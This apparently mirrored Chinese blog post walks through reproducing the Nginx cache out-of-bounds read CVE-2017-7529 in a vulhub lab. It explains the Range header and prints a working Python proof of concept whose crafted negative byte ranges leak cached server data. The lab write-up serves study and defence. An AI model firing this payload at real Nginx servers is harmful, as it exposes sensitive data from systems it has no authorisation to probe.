码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Nginx越界读取缓存漏洞(CVE-2017-7529)


    注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!

    理论知识

    range

            The Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200 。

    range格式:

    Range: =-
    Range: =-
    Range: =-, -

    range事例:

    Range: bytes=500-999 //表示第 500-999 字节范围的内容
    Range: bytes=-500  // 表示最后 500 字节的内容
    Range: bytes=500- //表示从第 500 字节开始到文件结束部分的内容
    Range: bytes=500-600,601-999 //同时指定几个范围

    漏洞原理

            主要是因为在通过range读取缓存的时候,当我们构造了两个负值得位置,则我们可以读取到缓存文件中比敏感的服务器信息。

    影响版本:Nginx 的 0.5.6 - 1.13.2版本

    漏洞复现

    一、vulhub搭建起靶场

     二、vulhub中有自带的poc

     三、直接python3   poc.py   http://your-ip:8080

     总结

            这个漏洞主要会导致敏感信息泄露,说实话没看到有啥敏感的信息,明白了为啥说这个漏洞比较废。但是嘞我们还是应该重视起来。

    POC

    import sys
    import requests

    if len(sys.argv) < 2:
        print("%s url" % (sys.argv[0]))
        print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
        sys.exit()

    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
    }
    offset = 605
    url = sys.argv[1]
    file_len = len(requests.get(url, headers=headers).content)
    n = file_len + offset
    headers['Range'] = "bytes=-%d,-%d" % (
        n, 0x8000000000000000 - n)

    r = requests.get(url, headers=headers)
    print(r.text)

    参考文章:

    Range - HTTP | MDNThe Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200 。https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Range

    Nginx整数溢出漏洞CVE-2017-7529 - 知乎漏洞简介 NginxNginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。其特点是占有内存少,并发能力较强,Nginx 可以在大多数 UnixLinux OS 上编译运行…https://zhuanlan.zhihu.com/p/34155943

    Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 - qweg_focus - 博客园Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 漏洞概述 ​在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的https://www.cnblogs.com/qweg/p/16549957.html

    Nginx配置——反向代理_止步前行的博客-CSDN博客_nginx反向代理Nginxhttps://blog.csdn.net/zxd1435513775/article/details/102508463

    漏洞复现-CVE-2017-7529-敏感信息泄露 - 铺哩 - 博客园Nginx敏感信息泄露漏洞(CVE-2017-7529)https://www.cnblogs.com/cute-puli/p/13282355.html

  • 相关阅读:
    RobotStudio实现喷漆、打磨等功能(曲面路径生成与仿真)
    PHP+mysql的在线考试系统的设计与实现
    Day14--商品详情-渲染商品导航区域
    C++ Reference: Standard C++ Library reference: C Library: cwchar: vwprintf
    nginx快速入门及配置文件结构
    从字节码维度理解【 Integer a = 128】 ≠ 【Integer b = 128】
    【云原生 | 从零开始学Kubernetes】五、Kubernetes核心技术Pod
    《最新出炉》系列初窥篇-Python+Playwright自动化测试-14-playwright操作iframe-番外篇
    python多维数组切片
    使用 Pinia 轻松实现复杂的 Vue 3 状态管理
  • 原文地址:https://blog.csdn.net/qq_58000413/article/details/126944659
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号